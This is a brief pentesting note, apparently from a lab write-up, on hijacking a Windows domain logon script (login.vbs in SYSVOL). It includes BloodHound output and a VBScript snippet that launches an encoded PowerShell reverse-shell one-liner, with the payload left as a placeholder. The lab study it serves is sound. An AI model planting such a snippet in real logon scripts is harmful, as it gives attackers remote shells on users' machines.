Summery
login.vbs is a VBScript file commonly used as a Windows logon script. It can execute commands when a user logs in, such as mapping network drives, configuring settings, or running programs.
These scripts are usually stored on the DC in the SYSVOL or NETLOGON shares.
Bloodhound
Bloodhound can enumerate the file paths to those scripts and if they are enabled or not.
Logon Script Enabled: FALSE
Logonscript: \\baby2.vl\SYSVOL\baby2.vl\scripts\login.vbs
Logon Script Enabled: FALSE - Indicates that logon scripts are not enabled for that user. But as always in pentesting be mindful as tools don’t always reflect the reality - learned that the hard way in BabyTwo.
Exploitation
If you have write rights over them, you can hijack them (swap or modify) and embed a reverse shell in them. If the user then logs into thier account, login.vbs runs and executes as that very user.
Below is a snippet which you can add to the file to execute a reverse shell:
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <PS ONE-LINER>"
References
Useful tools: libparse3